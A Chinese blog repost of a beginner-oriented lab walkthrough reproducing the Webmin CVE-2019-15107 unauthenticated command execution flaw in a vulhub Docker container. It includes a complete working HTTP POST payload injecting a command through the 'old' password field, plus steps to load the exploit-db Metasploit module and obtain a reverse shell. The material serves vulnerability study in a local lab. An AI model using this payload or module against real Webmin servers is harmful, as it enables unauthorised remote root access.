Webmin远程命令执行漏洞(CVE-2019-15107)搭建及多种利用姿势-保姆级教程

2019-10-06 约 2705 字 预计阅读 6 分钟

声明:本文 【Webmin远程命令执行漏洞(CVE-2019-15107)搭建及多种利用姿势-保姆级教程】 由作者 小菜鸟吃菜 于 2019-10-05 11:01:14 首发 先知社区 曾经 浏览数 1603 次

感谢 小菜鸟吃菜 的辛苦付出!

Webmin远程命令执行漏洞/CVE-2019-15107漏洞分析及poc网上都有很多了,先知论坛也有。可能网上有些文章有些细节没说清楚,给我等复现造成了困惑。本菜也只是结合chybeta、exploit-db等多个渠道整理了一下利用姿势,特点就是过程中的细节都会说清楚,给同样小白的各位同学参考。
本次实验是在kali进行,使用vulhub镜像。
一、启动从vulhub拉取的镜像

docker-compose up -d

docker ps可以看到映射的是10000端口,注意看这里的容器名字

docker ps

如果没有docker环境的话,后面附录一有在kali上安装docker的教程
二、访问本机IP 10000端口

根据网上公开的poc可知,漏洞利用url是修改密码功能password_change.cgi,且需要开启密码修改功能(1.890默认开启此功能),vulhub的镜像已经开启密码修改功能(如何开启密码修改功能请看后面附录二)。
三、不知道默认登录密码,进入容器中修改root密码为root
重新打开一个shell窗口,进入容器后不要着急退出,后面还会用到

docker exec -it cve-2019-15107_web_1 /bin/bash

进入/usr/share/webmin修改密码

./changepass.pl /etc/webmin root root

四、浏览器里打开password_change.cgi,发现提示外部url,并且给出修改提示。

按照提示修改
在docker里按照提示修改docker容器里的/etc/webmin/config文件

很多同学包括我,习惯使用vim进行修改,但docker容器里并没有vim命令,怎么办呢,还是看后面附录三有教程安装
五、使用网上的poc怼,看到成功执行命令
poc如下

POST /password_change.cgi HTTP/1.1
Host: 192.168.1.146:10000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: redirect=1; testing=1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 57

user=123&pam=&expired=2&old=test|id&new1=test2&new2=test2


截图中user处需要注意,需提交一个不存在的用户,否则触发不了后面的id命令;
参考chybeta大佬文章,发现不用old处不用填写旧密码,只写命令也可执行命令

六、exploit-db上的模块
链接:https://www.exploit-db.com/exploits/47230
exploit-db上有一个新的rce 模块,从作者描述上可以看到,webmin的1.890到1.920有漏洞是因为有人在SourceForge上的webmin插入了perl qx语句。
这里也提到了1.890默认配置是有漏洞的,之后的版本需要开启密码修改功能

下载ruby格式的poc

改名字,放到/usr/share/metasploit-framework/modules/exploits/unix/webapp/目录下
我这里改成webmin_unauthenticated_rce.rb

名字颜色和其他不一样是因为有可执行权限,这里暂时不管它
msf执行reload_all,重新载入模块

上面看到重载模块出错,是因为刚才没改名字,名字改好后就可以重载成功了
search webmin,可以看到多了一个模块,名字就是刚才我们改的名字

使用这个模块,options查看设置选项

use exploit/unix/webapp/webmin_unauthenticated_rce

可以看到exploit默认使用了reverse_python这个payload,从刚才的exploit-db页面上也可以确认这点
接下来设置攻击目标和本地主机,及ssl(注意webmin默认是ssl,最上面的链接也能看出来)

执行攻击

成功返回shell,并且可以执行命令
截图里的192.168.80.2,是webmin docker的地址,那怎么看容器的IP地址及其他详细信息呢
首先使用docker ps查看正在运行的容器,确定要查看容器的名字,上面有提到过一次这条命令

使用docker inspect cve-2019-15107_web_1(就是上面看到的容器名)可以看到容器详细信息

docker inspect cve-2019-15107_web_1


这里我们只关系IP,其他暂时不考虑

七、使用metasploit集成exploit
还是search webmin

search webmin

和上面的一样的设置,rhosts、lhost、ssl,和上面一样的执行效果


附录一:
上面说到需要开启修改密码功能才能利用漏洞,那么如果开启这个功能呢?
使用刚才改的密码(root/root)登录成功后,进入Webmin Configuration

在password expiry policy那里选择Prompt users with expired passwords to enter a new one,允许用户使用过期密码登录并修改一个新密码

等待webmin重启,配置生效。查看docker容器里的/etc/webmin/miniserv.con,可以发现passwd_mode的值已经从0变为了2

查看/usr/share/webmin/password_change.cgi,可以发现红框部分会对miniserv.conf中的password_mode值判断,为2时才enable

附录二:
kali安装docker

apt install docker docker-compose


注意1:有些linux发行版,docker-compose工具是使用pip安装的pip install docker-compose,这里只说明kali下的安装
注意:2:如果安装太慢,则需要更改kali源为国内源,这里就不说了,百度一大把,但要注意的是搜索kali rolling国内源,有些文章还是kali 1.0、kali 2.0的源

附录三:
容器里安装vim,很简单
先进入容器查看发行版,确定使用yum还是apt安装工具

cat /etc/os-release


可以看到使用的debian8的操作系统,接下来apt安装

apt install vim

但你会发现网速很慢,只有几十KB每秒,为什么呢,因为默认用的国外源,这下本质上改kali源一样了,改成国内的源。
修改docker容器里的源

vim /etc/apt/sources.list

但我们还没安装vim呀,这不互相矛盾么,变成先有鸡还是先有蛋的问题,别急,使用echo的方式写入sources.list

echo "deb http://mirrors.ustc.edu.cn/debian stable main contrib non-free" > /etc/apt/sources.list
echo "deb-src http://mirrors.ustc.edu.cn/debian stable main contrib non-free" >> /etc/apt/sources.list

第一条命令是把echo的命令写入到sources.list文件,sources.list原先的内容清空;
第二条命令是">>",追加的意思,不删除原有内容,这样两条语句都写入到sources.list了。
然后apt update更新源信息

apt update

这样就快了很多

上面附录2说的修改kali的源就是这样修改的,只不过源不一样
更新完源之后,就可以安装vim了

apt install vim

安装完vim后,可以愉快修改docker容器里的/etc/webmin/config文件了


本文是参考多位大佬文章才形成的,有国内的,有国外的。谢谢各位大佬的慷慨分享让我学习到webmin的利用方式和原理
https://xz.aliyun.com/t/6040
https://vulhub.org/#/environments/webmin/CVE-2019-15107/
https://www.exploit-db.com/exploits/47230
https://www.pentest.com.tr/exploits/DEFCON-Webmin-1920-Unauthenticated-Remote-Command-Execution.html

关键词:[‘安全技术’, ‘WEB安全’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now